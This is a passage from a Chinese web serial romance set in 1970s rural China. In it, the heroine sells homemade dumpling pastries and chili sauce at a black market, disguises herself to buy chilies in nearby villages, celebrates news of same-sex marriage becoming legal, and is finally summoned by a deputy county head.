“叔,没事的话我们就继续回去吃饭了。”季白青和李向东打了个招呼,一家人回去继续吃饭。 晚上躺在床上,温淼戳戳季白青。 “你没事去打陆延干什么?” 季白青面对着陆延的演技即使再浑然天成还是能被温淼看出来破绽,陆延的事就是季白青做的。 “啊?什么?”季白青懒懒地将手搭在她的腰上,声音困顿。 还在和她装! 黑暗中温淼瞪了季白青一眼,“别以为你不告诉我我就猜不到。” 季白青亲她,“想打就打了,看他不顺眼。” “老婆,明天还要早起做菜盒子,困了。” 温淼想要问的话堵在了嘴里,最后还是被咽了下去。 最后还是往季白青的怀里埋了埋,闭上了眼睛。 第二日天还没亮,季白青就起来了。 去地上摘了十几条茄子和一把韭菜,清洗干净后下锅炒好馅料,做好面皮后一口气包了三四十个菜盒子。 因为加了红薯,面皮晶莹掺杂点黄,光是看起来就觉得味道不错。 留了几个在家里当做早饭,季白青在木桶里垫上了一层纱布,又往木桶外裹了一层结实的棉絮,盖上盖子后将木桶绑在自行车后座上,趁着天色还早,绕了个圈往昨天蹲好点的黑市去。 口罩和帽子将她的脸遮掩得严严实实,为了不被人看出来,季白青戴着个手套,将脸上都抹了一层草木灰。 她是这一处的新人,最开始的时候没什么人敢过来问,后来季白青将一个韭菜味的菜盒子切开装在碗里,香气在四周漫开。 不少人吸着鼻子,找了一圈才看到季白青和她摆着的大木桶。 见是个生人,暂时没人敢主动上前。 倒是一个围着头巾的婶子肘着个篮子,几步上前来,压低声音问:“这是卖的什么东西?” 季白青压着嗓子说话,声音比往常要低上不少,雌雄莫辨。 “婶,这是菜盒子,韭菜鸡蛋的一毛一,茄子的一毛,都不用票,吃一个就顶饱。” 闻言,婶子有些犹豫,念叨了一句:“这也太贵了。” 但是那股霸道的香味像是在鼻尖萦绕不去一般,让她想要买来尝尝。 季白青来的时候特意削了几根竹签,将竹签插在被切开的菜盒子上。 “婶,你尝尝就知道了,可香了。” 那婶子尝了一口,味道确实上成,能吃出来很舍得下料,一口下让人还想吃。 她没太犹豫,“那给我来一个茄子的,一个韭菜的,挑个大的,家里有两个小孙女。” 季白青看了眼她篮子里的饭盒问:“饭盒还有位置吗?有的话我给你装上。” 接过了递过来的饭盒,季白青挑了两个大的菜盒子装进去,两个菜盒子就把饭盒塞满了。 收了两毛一之后,季白青心想开了个好头,后面大概就好卖了。 没准今天一上午就能够把菜盒子全都卖完。 不过想象是美好的,现实直接给季白青扇了一巴掌。 婶子走后,还有几个人上前来问价的。 一听到价格,再看了眼桶里的菜盒子,什么话也没说,一脸嫌弃地离开了。 有几个人来试吃,吃了也不卖,一言不发地走了。 从七点多到了十一点,季白青只卖出去了两个菜盒子。 看着桶里还剩下的大半桶的菜盒子,季白青有些绝望。 怎么想象的和现实差距那么大。 女主在黑市卖东西不是两个多小时就能够卖完吗?怎么到了她这里都一上午了只卖出去两个。 眼见着黑市的人越来越少,季白青蔫了,准备收拾东西回去。 将木桶绑上了自行车后座的时候,季白青的后背突然被拍了拍。 转过头一看,面前的人不是胡蝶是谁。 胡蝶见到她被抹黑的脸,顿时也是一惊,“噗嗤”一声笑出了声来。 “温青,你怎么弄成这样?” 季白青将挡在眼前的发丝拨到耳后,淡定问:“你怎么来了?” 胡蝶说:“我想谢谢你给的橘子,我嫂子吃了之后孕吐好多了,想着你可能在这里,就来看看。” “你卖的什么?”她好奇道。 季白青将桶盖子拿来,给她看里面的菜盒子。 “菜盒子,不过今天生意不太好。” 胡蝶大手一挥:“给我来五个!” 季白青微愣,最后笑了笑。 “没必要特意照顾我生意。” “这不是挺香的吗?买回去给我娘爹和嫂子哥哥她们尝尝。” 听她这样说,季白青也不和她客气了,将报纸包好五个口味的菜盒子,收了她五毛二。 “那我先回去了。” 简单告别了胡蝶后,季白青绕了一大圈回了家。 路上时不时会碰到村里的村民,回到家后,季白青就想,下次得换一个工具,不那么显眼才行。 回到了家里,温淼正准备做饭。 季白青停好车立马拦住她:“蓁蓁,别煮了,中午吃菜盒子吧。” 温淼:“……” “都吃两顿了。” 再好吃也要腻了。 季白青耸了耸肩,有些惆怅:“今天没卖出去几个,生意不好。” 总不能就这样被浪费掉。 中午吃着菜盒子,即使是何香月也觉得脸有点绿,最后去舀了一碗辣椒酱,裹着菜盒子吃。 季白青见她这样的吃饭,也试着沾了点辣椒酱,发现菜盒子的味道在辣椒酱的加持下好像更加丰富了。 她眼睛一亮,让温淼吃了一口,期待地看着她:“怎么样?” 温淼有些懵,“什么?挺好吃的,辣椒酱也没那么辣。” 家里的辣椒酱都是何香月亲手熬制的,不同于剁辣椒的咸辣,辣椒酱是香辣,温淼这种不太能吃辣的也觉得好吃。 季白青突然站起来:“我知道了!” 何香月给了她一巴掌:“又在发什么疯。” 她娘打得不痛不痒的,季白青丝毫没在意,匆匆几口将菜盒子吃完。 “我知道晚上怎么能不继续吃菜盒子了。” 说完这句话,她去地上拔了点萝卜,又从坛子里掏了点腌制的豆角,起锅炒了个酸菜,最后加了一勺辣椒酱,锅铲一拌,红艳艳的酸菜就炒好了。 装了满满一饭盒后,季白青来不及和她们说些什么,装上菜盒子就骑着自行车往黑市去了。 找了个荫蔽的地方,季白青将饭盒盖打开,又切了个菜盒子试吃。 现在的正午,黑市的人竟然也有几个。 现在的时间段卖东西的人不多,很快就有人上前问价了。 “这个怎么卖?” 季白青笑眯眯回答:“茄子菜盒子一毛,韭菜鸡蛋的一毛一,买菜盒子送一勺酸菜,拿回去可以送粥送饭吃都好吃。” “要不要尝尝?” 原本那人还有有些犹豫,菜盒子的味道是不错,但也没到她一定要买的地步。 但是吃到了入味的酸菜后,她瞬间改了主意。 两样东西口味都好,买一送一的好事她怎么能错过! “同志,我回去拿个饭盒,你给我留两个菜盒子!” 季白青爽快应下,见她这样,其她人也有些好奇,这到底是多好吃? “同志,我带饭盒了,给我三个菜盒子,酸菜给我多一点!” “我也要一个菜盒子!” “今天我回娘家,给我装十个菜盒子,多装点酸菜!” 季白青在食品站训练得手速飞快,此时这么多人也很快就弄清楚了,给她们装好之后还不忘发展长久顾客。 “以后记得常来啊。” 下午三点不到,季白青的菜盒子就卖完了。 数着手里赚的两块多,季白青总算是振作了一些。 虽然赚的不多,但也算是个好的开始。 目前唯一的感悟就是买一送一的促销手段无论在哪都不过时。 将东西收拾好,看着显眼的木桶,季白青想了想,最后推着车去了巷尾,找到了胡蝶之前所指的地方,她敲了敲门。 门很快被打开,是个小腹微凸的圆脸女人。 见到了季白青,她有些疑惑地开口:“同志,有什么事吗?” 季白青对她一笑,“同志,我是来找胡蝶同志的,她在家吗?” 闻言,女人的眉心舒展开,朝屋内一喊:“小蝶,有人来找你。” 胡蝶很快出来了,见到了季白青后还有些奇怪。 “温青,你怎么来了?” 季白青将自己的来意说清楚:“我想把木桶放在你们家,每天早上来拿行吗?每个月给你一块钱。” 还有这种好事?胡蝶瞬间点头。 “可以!我每天帮你洗的干干净净!” 听她答应得爽快,季白青瞬间放下心来。 她将木桶给了胡蝶之后,又提前给了一块钱就推着车回家了。 时间还早,她在想着除了菜盒子外明天还可以卖些什么。 今天的生意还不错,明天继续的话多做点肯定也可以卖完。 想了想,最后她上锅蒸了一锅的饭,将火架好后就拎着筐往塘边走。 趁着现在水快干了,去摸点螺蛳。 除了螺蛳外,小鱼小虾这些季白青也没有放过。 螺蛳和鱼虾捡了大半框,又去小河道挖了点野生茭白。 现在正是吃茭白的时候,每个茭白挖出来*的时候都是白嫩又饱满,两三根就能够吃一餐了。 她犹豫了一会儿,最后多挖了些。 晚上吃的清炒茭白,吃完饭后锅里还装了大半锅的饭,不过都是散的。 温淼收拾的时候觉得有些奇怪:“怎么煮了那么多的饭?明天熬粥吗?” 季白青摇头,“做个冻米糖去卖。” 温淼有些茫然,但还是在一边帮忙烧火。 煮熟凉透的米饭在下午的时候被暴晒了一番,现在已经是微微发硬的状态了。 锅热后季白青那个倒了浅浅一层的油,将米饭倒进去翻炒。 几下后锅里开始响起噼啪的声音,跟放鞭炮一样。 半个小时后,米饭都被炒得微微发胀。 将米饭铲起来后,将在黑市买的古巴糖下锅融化成糖浆后,季白青又将米饭倒进去混合。 糖浆和米饭裹在了一起后,她将找来的两块木板洗干净,下午的时候她将四周都钉上了木头,也打磨光滑了。 现在看来就是个模具。 米饭在木板上被摊开,再用木板一压,石头压在上面等着明天取出来就好了。 做完了一系列事情,季白青伸了个懒腰。 搂着温淼:“洗澡睡觉了。” 第二天又起了个大早,做了五十个菜盒子,炒了个酸菜,最后又用剁辣椒炒了螺蛳鱼虾,用干净的纱布装好,她骑着车最先去胡蝶家拿了木桶,随后才去黑市。 今天一到位置的时候就有人来上前问价了。 每个口味都尝了一遍,面前的姑娘要了五个茄子的菜盒子。 最后指着季白青脚下被盖住的东西,她问:“这是什么?” “冻米糖,昨天刚做的,用的可是古巴糖。”季白青掀起一脚给她看,棕色的糖浆混合着白色的米饭,空气中都弥漫着几分甜蜜。 姑娘犹豫了一会儿,最后要了半斤。 提着手里的东西,她又看向红艳艳的螺蛳鱼虾,闻到喷香扑鼻,里面还那么多肉。 “这个呢?” 季白青笑了,这姑娘是个大客户啊。 “五毛钱半盒,给你打得满满的。” 最后对方还是买了。 今天做的都是黑市里罕见的东西,尤其是螺蛳鱼虾,除了辣椒和紫苏叶外,其它全是肉。 不仅直接做好了,还不要票! 还没到十点,季白青的东西卖的差不多了。 最后一个菜盒子被人买走,那人尝了口酸菜,问:“同志啊,你们这辣椒酱卖不卖?我家媳妇就爱吃这一口。” 闻言,季白青愣了愣立马回道:“现在还不打算卖,以后更多人问了再说。” 听了这话,男人哈哈一笑。 “你要是卖的话有多少我给你买多少!” 季白青低头收拾东西,着急回家:“以后再说吧同志。” 敷衍完对方后,季白青收拾好东西,把桶放回了胡蝶家。 到家后,温淼还没下班。 她将今天赚到的钱摆在桌上数了数,零零散散的毛票,抓在手里一大叠。 除去成本,今天赚了差不多二十三。 一时间,身体上的劳累瞬间都消散了。 赚那么多钱,累一点好像也值得。 季白青瞬间精神了。 不过她本来就算是高能量人群,早睡的话早起对她来说也没什么太大的影响。 将装吃的用的纱布清洗干净后她在想着做辣椒酱卖的可行性。 潇南省这地方的人都爱吃辣,不同的地方辣椒酱自然有不同的做法。 她娘做的辣椒酱还是挺多人喜欢吃的,如果真的做出来一罐一罐地去卖的话,能卖出去吗? 还是等何香月回来的时候问问她。 温淼回来之后,季白青将留下来的冻米糖给她吃了一块。 古巴糖并不是纯甜,还有些苦味,和米混合在一起的味道说不出来该怎么形容,倒也不难吃。 剩下的她给何香月和季伟她们留了点。 每个人都甜甜嘴。 接下来的几天,季白青都是在卖这些吃食。 一段时间下来,也积攒了不少的老客户。 不少人第一天来买了第二天还回来买点什么。 来黑市的大多数都是些不太差钱但差票的,季白青的客源十分稳定。 一转眼,一个月的时间过去了。 十一月里,气温又降了不少。 季白青手上的钱也攒了一千多差不多两千了。 也终于不再像是前一个月的时间里那么拼命。 温淼松了一口气的同时也怕季白青故态复萌,在前一天晚上撒娇让季白青陪她去逛供销社。 其实两个人都忙,温淼十月份也在忙着小学的考试,两个人基本都是沾床就睡,颇有些老妻老妻的熟悉感。 温淼半跪在床上,亲亲季白青的脸颊。 “我们都好久没有一起出去了。” 季白青想想也是,看着面前姝丽动人的老婆,明天去黑市卖东西的想法瞬间打散。 还是陪老婆重要。 她捏了捏温淼细瘦的指骨,“好。” 见温淼脸上瞬间绽开笑颜,她凑上去亲了亲。 拍了拍胸脯,颇有些土大款的气质:“想买什么我付钱!” 温淼睨了她一眼,“你有票吗?” 这话问得季白青瞬间有些心虚。 钱,她赚了不少。 但票,确实没有多少。 至于带老婆逛黑市?那太不安全了。 她瞬间躺平做咸鱼状:“那我肉|偿,老婆尽管蹂躏我,我不会反抗的。” 温淼:“……” 她在季白青的肩膀上一拧,季白青瞬间发出夸张的吃痛声。 “你就装吧。”温淼哼了一声。 第二天倒是没有刻意起得很早,在家吃了个早饭才去的镇上。 何香月现在看她们天天往镇上跑都习惯了,什么话都没说。 镇上也没什么好逛的,两人去供销社买了点东西,挑了点小家伙们爱吃的糖块,季白青又给温淼大朋友拿了她喜欢吃的点心,就准备去付款了。 今天温度骤降,两人穿的是之前温知意寄来的情侣款大衣。 售货员都已经认识这一对登对的爱侣了,最开始还觉得惊讶,但转念一想,两个人看起来真的很相配,感情也一直很好。 每次来供销社都是手牵着手的。 没有一次吵架。 付账后,季白青买了两份报纸。 报纸看完之后还能够用来包吃的。 把报纸卷好之后,季白青就带着温淼回去了。 到家的时候正好碰上了小米和满满她们抓了虫子来喂鸡,温淼将兜子里的糖抓出来几块分给她们,又和她们说了会儿话。 见状,季白青先把东西提到了房间,收好之后把报纸展开简单扫了一眼。 等扫到了黑色加粗的大标题后,她瞬间瞪大了眼。 【作者有话说】 话说不做亏心事不怕鬼敲门 但其实我没做亏心事也怕鬼 感谢投雷和营养液,感谢订阅评论收藏[撒花][撒花][撒花] 53 第53章 ◎梅女士让你进去一趟◎ 温淼原本还在和小米满满她们说着话,季白青突然冲了出来。 趁着她不备,将她抱起来转了一圈。 温淼手里攥着的东西都被她突然的动作吓得掉在了地上,等到脚落了地后才反应过来。 见小米和满满都瞪大了一双乌溜溜的眼珠看着她们,她有些恼怒瞪着她: “你干什么?” 季白青咳了一声,唇角的笑都藏不住,看了眼满眼好奇的小家伙们,打发人离开。 “快回家吃午饭吧,下午再来找温老师。” 说完她将掉在地上的东西捡了起来,拉着温淼进了屋子。 等到卧室的房门一关,温淼将自己的手挣出来,没好气地看着她: “说吧,是什么事?那么激动。” 她咕哝:“以后不要在小孩面前那样,影响不好。” 季白青笑吟吟地道歉:“对不起蓁蓁,我刚才只是太激动了。” 她指着桌上展开的报纸,指尖点着标题让她看。 标题名为:从好友到妻妻——同性领证合法对她们的影响。 同性领证合法了! 即使温淼提前知道了一些消息,但是看到了眼前的文字还是感觉有些许的恍惚。 终于合法了……那离迷雾彻底被拨开还远吗。 见温淼呆住,季白青此时也还觉得自己还有些头重脚轻,像是踩在轻飘飘的云雾里。 喜悦来得太突然,让人觉得有些没有实感。 原本在房间里踱步的季白青突然停了下来,因为她听见了温淼的话。 温淼抬起那双漂亮得过分的桃花眼看她,卷翘的睫毛轻颤,低声问她:“你、你怎么想的?” 季白青将这句话在心里重复了好几遍,最后开口:“我都听你的。” 这是她的心里话。 两人的事都已经到了人尽皆知的地步了,季白青唯一想的便是依着温淼,温淼怎么高兴怎么来。 听了这话,温淼垂眸,浓密的长睫挡住眸中微荡的水光,几乎是毫无迟疑的,她说:“那春节我们一起见过奶奶和姑姑她们再说。” 不是不想现在就和季白青领证,但是她们对这份感情都格外真诚。 温淼想要她们的感情能够被奶奶她们承认和祝福,她的阿青是很好的人,只要见面了,温向荣肯定能够摆脱对她的偏见看法。 季白青走到桌边,低头去亲她,一个轻轻的吻落在唇边,她用气声道:“好,我都听你的。”- 这段时间,陆延对沈念念的态度冷淡了下来。 原本高大俊帅的男人最近几天整日不修边幅,不知为何突然开始疑神疑鬼,嘴里念叨着的都是什么“蛇”、“鬼”。 还是被沈念念提醒了好几次,他才不再说什么神鬼。 在这样的情况下,沈念念每次和他说点什么他都丝毫不搭理。 热脸一直在贴冷屁股,沈念念也会觉得有些烦。 觉得这男人可能是疯了。 在心灰意冷想要放弃这个目标之际,陆延终于恢复了正常,开始好好收拾自己。 她也能够好好地和陆延说上几句话。 两人又恢复了从前有着似有若无的暧昧的氛围。 周日,沈念念和陆延一起坐上了牛车去镇上。 因为最近黑市的人变少了,沈念念原本做得好好的生意现在惨淡了一些。 以往一两个小时就能赚五六块钱,多的时候十几块,而现在可能一天才能够赚到那么多钱。 虽然手里已经攒了一两百,但她总觉得如果遇上了好的机会的话还能够在再赚点。 两人去供销社买了一些调料后,沈念念带着陆延去了二楼,看着一件黑色的确良的外套,问了价格后一咬牙便开口:“陆延哥,我看你的外套都破了,我给你买件新的吧。” 一边看着衣服的售货员闻言鄙夷地看了陆延一眼,腹谤,花女人的钱,算是什么男人。 看着浓眉大眼的,原来是个吃软饭的。 这一眼自然被陆延发觉了,他有些恼怒,将衣服推开。 “不用,我又不是没钱!” 说完,他自觉丢了脸面,转身就往楼下走。 被落在原地的沈念念抱着衣服有些懵,那售货员才安慰她:“同志,那个男的也太给脸不要脸了,你别伤心。” 沈念念眼睛红了一圈,将衣服往售货员怀里一甩,跺了跺脚恼怒道:“你知道什么!你就是忮忌我!” 说完,她就小跑着要跟上陆延。 好不容易追上了陆延的脚步,沈念念小声哄他:“对不起啊陆延哥,都怪我要带你去买衣服。” 陆延环抱双臂,哼了一声。 “以后我都不会来这种地方买东西了。” 他语气中含着高傲,颇有些不可一世。 而沈念念闻言则是抽了抽唇角,镇上就这么个供销社,不来这买东西还能去哪? 当顾忌着男人的颜面,她还是小鸡啄米地点了点头。 陆延见沈念念这么乖,心气终于顺了几分,开口说:“行了,回去吧。” 步行路过了回收站的时候,沈念念看了眼牌子有些心动,拉着陆延的衣角。 “陆延哥,我们进去看看吧。” 现在初冬,天气冷了些,回收站的味道没有夏日里那么重,但还是不好闻。 陆延捏着鼻子,一脸嫌弃。 “垃圾堆有什么好看的。” 见沈念念一脸可怜兮兮地看着他,陆延最后往后退了两步:“你进去看吧,反正我不进去。” 陆延真宠她,沈念念的心里美滋滋地想。 都那么嫌弃了,还要在门口等着她。 进了回收站之后,翻翻找找,几乎都是一些没什么大用处的东西。 沈念念找出了一身的汗,最后放出来一本书。 打开随意一看,一目十行扫过去,最后她的眼睛微微瞪大。 立马掏钱和管理员买了这本书。 出了门,沈念念有些激动地对陆延道:“陆延哥,我翻到了一个宝贝!” 看着沈念念手上的脏污,陆延忍无可忍地又往后退了一步。 “……回去再说!” 大概是知道自己被嫌弃了,沈念念耷拉着头一言不发地坐牛车回去了。 到了知青点,第一时间做的就是把自己的手洗干净。 见潘红霞在房间里不知道干什么,她理直气壮使唤:“红霞,帮我把这本书擦一下,有点脏。” 潘红霞呐呐答应下来。 等到书和手都清理干净,沈念念才进了陆延的房间。 方海洋今天不在知情点,也不知道哪去了。 将门掩上,沈念念兴奋地翻开了书给陆延看: “陆延哥,你看,这本书写了喝了用蛇泡的酒可以延年益寿,我们如果抓了蛇来泡酒,把蛇酒放在黑市卖的话,不就是可以赚更多钱了!” 听到了“蛇”,陆延的脸色一白,像是一只暴怒的老虎,瞬间将那本书打落在,像是看什么垃圾一样。 “书上写了什么你就信什么?沈念念,你是蠢货吗?!” 他拧着眉,不受控制地对着沈念念大吼。 没有得到想象中的赞同,沈念念有些无措,更别提还被男人凶了一嘴。 她站在原地,试着解释:“陆延哥,你不是知道吗?我的运气一直都很好,我有预感,如果真的拿能够蛇泡酒的话,我们的生意肯定会更好的,能赚更多的钱。” “你不是也需要更多的钱吗?” 沈念念劝得苦口婆心,而陆延却什么也听不见去。 一想到蛇,那天晚上和数不清的蛇共处一室的记忆再度浮现。 他神色狰狞,指着门口吼道:“滚!快给我滚!” 沈念念被他恐怖的神色吓到了,捡起地上的书就走。 回到了房间里的时候还心有余悸。 陆延的声音洪亮,在另一个房间里的潘红霞都能够听见。 见沈念念灰溜溜地进来了,她的眼里闪过了一丝快意。 沈念念没注意到她的眼神,坐在床边失神想,难道真的赚不到钱?陆延的反应怎么那么大? 季白青自然不知道自己把男主和蛇关了一夜会对他造成那么大的心理阴影,不过她要是知道的话,也只会是拍手叫好。 那天休息了一天后,第二天去黑市卖吃食,居然有人早早地在那等着了。 听着买家说她们前一天专门来这找她买东西结果没等到人后,季白青有些受宠若惊。 之后的一段时间都准时出摊,周三和周日需要杀猪的时候就让胡蝶给她看着摊子,季白青额外给胡蝶支付一部分的钱。 要不是心疼那点钱,季白青高低要守摊这份活儿承包出去。 不过让别人帮忙看黑市的摊子,还是有风险,怕被警察发现后卖了个干净,也怕找到的人手脚不干净。 好在守摊就是枯燥一点,也没多累,数着每天赚的钱,季白青觉得可以接受。 将今天的菜盒子卖完之后,季白青就打算后面的时间不再卖了。 天气冷了下来,地上的菜也没剩下多少。 原料不够了。 将今天剩下的冻米糖装好,季白青正想着带回去给温淼哄小孩用。 一个穿着褐色褂子的大娘走了过来,端着饭盒笑呵呵对她开口:“同志,这个酸菜能卖点给我吗?” 菜盒子卖完了,还剩下一些送的酸菜,原本打算拿回家的,见大娘想要,季白青点头,象征性收了一分钱。 等到大娘将饭盒壁上的辣椒酱刮干净后,感叹了一句:“你家这个辣椒酱炒的酸菜好吃,我家那个捡完了菜吃还要把这个辣椒酱再炒一遍菜。” “同志啊,以后有辣椒酱千万要告诉我啊,我一定照顾生意!” 这话已经不是季白青第一次听了,第一次听了这话,她就去镇上的玻璃罐厂找关系买了百来个罐子,又让何香月收了村里的辣椒,腌了一大缸子的辣椒酱。 现在应该已经好了。 季白青应了下来,粗声粗气回复:“明天来吧,明天我带点来,大娘你来早点。” 闻言大娘拍了拍大腿,瞬间眉开眼笑。 “那这感情好啊!” 回去的时候,季白青又去地上看了一眼,十一月算是辣椒的淡季了,辣椒枝叶枯黄,几个焉焉哒哒的辣椒挂着,将地上的辣椒摘了一遍,才摘了小半筐,开春前应该也是没有了。 中午吃饭的时候,季白青和何香月说了要开始卖辣椒酱的事。 对于自家闺女在黑市做生意这件事,何香月和季伟她们自然是不放心,但是时间久了也知道再多的担心也不能让自己闺女回心转意。 她们只能够尽可能的配合。 何香月埋头吃饭,干脆眼不见心不烦。 “随你,要我干什么提前和我说就行。” 下午的时间,季白青又给自己打扮一番。 黑脸黑手,加上故作粗粝的嗓音,挑着个担子,穿着季伟的旧衣服,她半弓着背,问温淼:“怎么样,像不像男的?” 温淼的眼神在她身上转了一眼,捂住了眼,有些不忍直视。 最后还是点了点头,“像。” 真的挺像的。 闻言,季白青骄傲地挺了挺胸脯,挑着担子决定出门了。 她直接步行去了四周的村子,从后山绕过去的村落和云水村几乎都不相熟。 到了第一个村里,季白青拉住蹲在路边的小丫头,“小同志,辣椒换糖,快让大人来换糖。” 她将簸箕上的布掀开,露出里面的冻米糖。 小丫头一看,咽了口口水,重重点了点头后立马拔腿就跑。 没过多久,陆陆续续来了一批人,背着背篓谨慎地问她:“换糖?真的假的?” 季白青将冻米糖展示给她们看,声音微微压低。 “如果缺……也可以换。”她比了个钱的动作。 闻言,不少人都心一动,把辣椒都换好了钱或糖后就立马去通知村里的其她人。 季白青发现,村民们都很淳朴,找她换的辣椒全都是硬实的,鲜红亮实,个头也挺大。 她多说了一句:“只要没坏的都可以来换,发现有坏的那我之后就再也不会来了。” 说完,不少人又去了地上。 第一个村子就让季白青的担子上的两个大竹篓装了小半筐。 去到了后面的几个村子后,季白青如法炮制,收了慢慢两大框的辣椒。 其实收购之路也不是那么顺利,她也遇上了看似回去给村民报信实则去告诉村长来抓她的人,见到远处气势汹汹朝她走来的人,季白青自然是拔腿就跑。 肩上的担子虽然装的挺满,但好在辣椒本身就轻,她的力气大,负重狂奔几公里将她们甩在身后也毫不费力。 只能在事后暗戳戳骂要来抓她的那群人是狗爹养的。 收完了辣椒后,季白青也有些累。 天色已经暗下来了,挑着小路走,回到了村里的时候天色黑了下来。 她时刻注意着四周,一直到家才放下了心。 家里已经吃上饭了,闻着喷香的米饭味夹杂着红薯甜香,季白青这才迟钝地觉得饥肠辘辘。 听到了动静,温淼放下了碗筷,走到了院子里。 见季白青浑身上下都狼狈,她打了一瓢水给她先把手冲洗干净。 灶房正在烧着水,又打了热水让她好好擦擦脸。 “怎么回来这么晚?”温淼专注帮她擦掉脸上最后一点脏污,还是没忍住问出了口。 季白青轻描淡写回复:“去了后面的几个村子收辣椒。” “今天收了两大筐呢,能做百来瓶辣椒酱了。” 温淼抿唇看着她,最后所有的话都化作了一声叹息。 “快吃饭吧,做了你爱吃的。” 季白青笑眯眯地应下。 吃完饭后,把门关了,一家人都在挑辣椒。 将坏掉的辣椒挑出来,好的和压坏的放到一边。 打了井水清洗一遍后何香月和季伟开始切辣椒。 季白青和温淼就将缸里的辣椒酱倒出来,分别装到了玻璃罐子里。 辣椒酱装了五十多个罐子,季白青摆好,将数量数了一遍后心里大概有了数。 这些辣椒酱她打算卖一块五一罐,罐子并不小,一罐的分量舀一勺做菜也够吃上两个月,更何况黑市本就比其它的地上要贵。 玻璃罐是她八分钱买的全新的,只不过是有些轻微的瑕疵,但都很实用。 如果能把罐子回收可以少一毛钱。 见明天的事想好后,季白青打了个哈欠,何香月见状连忙催促。 “快去休息,剩下的我和你爹来弄。” 入冬了,天色转凉,风也呼呼地刮,这几天地上的活儿都不多,基本都是在磨洋工,再有几天就彻底空闲下来放假了。 季白青第二天还要早起,也没和自己的娘爹瞎客气,和温淼一起回房间休息了。 今天几乎一天都在和辣椒打交道,季白青嗅了嗅自己的手,觉得上面还有股辣椒味。 洗都洗不干净了。 她拒绝了温淼的贴贴请求,无奈给她看自己有些发红的手。 “红了,我一碰你你要过敏。” 本地辣椒的含金量还是太高了。 温淼的手也有些热,刚才挑辣椒被辣椒水辣到了,闻言只能缩在被子的一角。 第二天,季白青起床的时候只觉得自己的全身都是酸的。 估摸着昨天走了十万步都不止了。 清醒点后她去了灶房,灶上放了一小罐花露水。 季白青擦了擦,手上的辣意缓解了些。 她眼睛一弯,摸了摸那瓶花露水后开始准备今天要卖的吃的。 中秋节的时候她和温淼一起摘了桂花,加上蜂蜜熬了点桂花蜜。 她今早做了个米糕,再用刷子在雪白软糯的米糕上刷了浅浅的一层桂花蜜。 将两个竹篓捆在了前杠上,季白青把米糕和辣椒酱放了进去。 到了黑市的时候,天色朦朦亮。 风一吹,直直往人的脖子里灌。 季白青掖好温淼给她的黑色围巾,揣着手等着顾客上门。 没多久就有人提着饭盒来了,是熟客,浑身上下裹得严严实实,光是看衣着就能看出不凡。 她一来就熟稔地问:“今天做了什么吃的?” 季白青将上层的布打开:“是桂花米糕,上面刷了一层桂花蜜,三毛钱一小块。” 米糕只有半个巴掌大,这个价格算高。 不过有蜂蜜,蜂蜜是稀罕物,加上季白青的手艺向来不错。 女人眼都不眨,将饭盒递给了她。 “那给我先来三块钱的,另一边是什么?” 季白青利索给她装上后见饭盒关上,以免米糕冷得太快。 “辣椒酱,秘制的,要试试吗?” 女人有些犹豫,她不太吃辣,但看着玻璃罐子里色泽红艳的辣椒酱,又有些想尝试。 “会不会很辣?” “香辣,不过不太能吃辣的没准也会觉得辣。”季白青回的很谨慎。 “拿给我拿两罐。” 这向来是个大客户,季白青收了她的钱后提醒道:“罐头回收可以少一毛钱。” 女人提着罐子和饭盒和她摆了摆手,“下次来的时候给你带来。” 她走后,生意好了些。 米糕虽然贵,但还是第一次做,有不少人都想要尝尝鲜,很好卖,辣椒酱更算是季白青菜盒子的招牌,一罐装得满满当当的,她们付钱也很爽快。 季白青原本以为今天要卖一上午,十点的时候筐里还有些米糕,还有十几罐的辣椒酱。 哪知一个男人过来后直接说要买她的全部东西。 季白青有一瞬间还以为是自己听错了,又问了一嘴,得到了相同的回答后才敢确定。 她看了眼身形纤瘦的男人,“同志,你能拿回去吗?” 她把辣椒酱都放进了布袋里,盖子拧的很紧,罐子也结实,不至于几步路就碎了或是漏了。 男人闻言,点了点头,居高临下地看着她将东西装起来。 米糕放在了最上面,季白青收了钱手示意他可以拿走了。 男人的手拎着袋子,罐子连带着辣椒酱有几十斤。 见男人的手背上青筋暴起,勉强将袋子提起来。 想着这是大客户,季白青很善解人意地替他解围:“同志,我刚好没东西了,你家在哪,我给你捎回去。” 男人脸色僵硬地点了点头。 季白青将东西又放回竹篓里,骑上单车后跟在男人身后。 男人也是骑的二八大杠,绕了大半个圈子,最后才到了地方。 在路边停下,季白青将东西放在了门口。 男人没说一句话,勉强将东西提进了屋子里。 季白青四处看了看,这是没来过的地方,屋子好像比别的地方要建得更有气势些。 暗戳戳羡慕一番,她正打算走,突然被折返的男人叫住了 男人脸上的遮掩已经去掉,看起来斯文清秀。 只是看着斯斯文文的一个人似乎对季白青有什么意见,脸色难看的对她开口: “梅女士让你进去一趟。” 【作者有话说】 忽然想到了晓燕老师的名言——回家吧孩子,回家吧。 会是风险还是机遇捏[三花猫头] 感谢投雷和营养液,感谢订阅评论收藏![撒花][撒花][撒花] 54 第54章 ◎盖新房◎ 听见这话,季白青瞬间感觉有些懵。 梅女士是谁? 为什么要见她? 她蹙着眉心,说实话,心里有些不情愿。 被男人盯着,季白青还是进了屋子。 在男人的带领下跟在他后面进了一个房间,听见了敲门声后,办公桌前的女人抬起了头。 女人盘着利索的头发,显得鹅蛋脸越发端庄,眼角带着点细纹可以看出来无声的岁月。 男人开口介绍道:“这是我们副县长梅叙女士。” 梅叙微微颔首,淡淡看了一眼男人:“小张,你先下去吧。” 小张张嘴,想说什么,最后还是闭上了嘴,恭敬地点头,退出去后将门带上。 被留在屋里和梅叙共处一室的季白青才反应过来,想要见她的女人居然有这么大的来头。 室内安静了一瞬间,梅叙按了按眉心,神色温柔些许。 看着面前的人,她声音和缓:“不好意思,还麻烦你到这来走一趟。” 她失笑,“我也没想到小张看着高高大大的,那么点东西都提不起来。” 叫她进来就只是说说这个?季白青有些疑惑,但还是礼貌回答了。 “没事,这也不远。” 梅叙轻笑一声,站起身来将为她拉开椅子。 “别紧张小同志,坐吧,只是和你简单聊几句而已。” 季白青只好顺势坐下。 梅叙这才解释:“我娘昨天就说今天要去买辣椒酱,但早上出门不小心扭了脚,我这才让小张过去买。” 她看着放在桌边摆开的辣椒酱,笑说:“看起来很好吃,也难怪我娘心心念念。” 原本没想过要见她的,只是都到门口了,她也有些好奇是谁做的吃食这样合她和她娘的口味。 “只是我记得她和我说是个小伙子,我倒是没想到见到的是个姑娘。” 季白青也不知道自己是哪里露馅被她看出来,最后也没再压着声音。 不过她真没想到看起来和蔼可亲的大娘居然还有这样一层身份。 “大娘和梅县长你喜欢就好。” 